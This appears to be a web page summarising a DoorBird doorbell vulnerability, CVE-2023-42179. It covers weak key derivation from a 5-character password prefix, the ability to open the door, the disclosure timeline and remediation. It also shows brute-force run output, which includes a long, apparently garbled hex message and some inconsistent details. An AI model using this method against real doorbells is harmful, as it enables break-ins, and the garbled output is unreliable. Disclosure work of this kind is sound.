CVE-2023-42179: DoorBird D11x/D1812 weak key derivation & brute-force PoC

CVE-2023-42179 Vulnerability Summary Vulnerability Overview Vulnerability Type: Insecure encryption in the authentication mechanism of the DoorBird doorbell (D1101). Core Issues: - Authentication encryption uses ChaCha20-Poly1305, but the key derivation method is insecure. - Only the first 5 characters of the password are used for key derivation, resulting in a very small key space (approx. 30 bits). - An attacker can capture the username/password prefix by listening to network broadcast packets, then recover the full password through a brute-force attack (approx. 20 minutes of CPU computation). Impact: The attacker can forge communications, execute arbitrary user commands (such as opening the door), and, after learning the 5-character password via listening, can replay it without additional effort. Affected Scope Affected Devices: DoorBird doorbell D11x series (firmware version ≤ 140). Affected Versions: Fixed in firmware version 141; D11x and D1812 series are affected. Timeline: - 2023-08-24: Request for security contact sent to the vendor - 2023-08-25: Contact information received - 2023-08-27: Vulnerability and PoC reported (Git 21c5d524) - 2023-09-30: Vendor acknowledged the vulnerability - 2023-10-20: Vendor released fixed firmware version 141 - 2023-10-23: Vendor confirmed D11x series has been patched - 2023-11-24: Vendor confirmed D1812 series has been patched - 2026-08-12: Publicly disclosed ("I forgot, sorry, it has been fixed") Remediation Vendor-side: - Replace the insecure cryptographic construction (ChaCha20 key derivation). - Lower the rate limit for invalid password attempts (originally 200 req/s, recommended to lower to 50 req/s). User-side: - Treat the first 5 characters as insecure; change to an unpredictable 10-character password (supported in Android version 5.2.21 0.023). - Use Ethernet instead of Wi-Fi, and isolate the network via IEEE 802.1Q VLAN. POC Code 1. Password Brute Force (C++) ```bash $ make && ./db_bruteforce pkt 64 [...] 62480000 / 91612832 (68.2%) using 64 processes: Qd6S in 1440 secs (433672 tries/sec, estimate) 62480000 / 91612832 (68.2%) using 64 processes: Qr4w in 1441 secs (433693 tries/sec, estimate) 62580000 / 91612832 (68.2%) using 64 processes: Qr4w in 1442 secs (433704 tries/sec, estimate) 62590000 / 91612832 (68.2%) using 64 processes: QhF1 in 1442 secs (433704 tries/sec, estimate) 62580000 / 91612832 (68.2%) using 64 processes: QhF1 in 1442 secs (433705 tries/sec, estimate) 62580000 / 91612832 (68.2%) using 64 processes: Qw1x in 1443 secs (433792 tries/sec, estimate) Message: 66f6f672131303220202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202

Goal Reached Thanks to every supporter — we hit 100%!

CVE-2023-42179: DoorBird D11x/D1812 weak key derivation & brute-force PoC

More from this source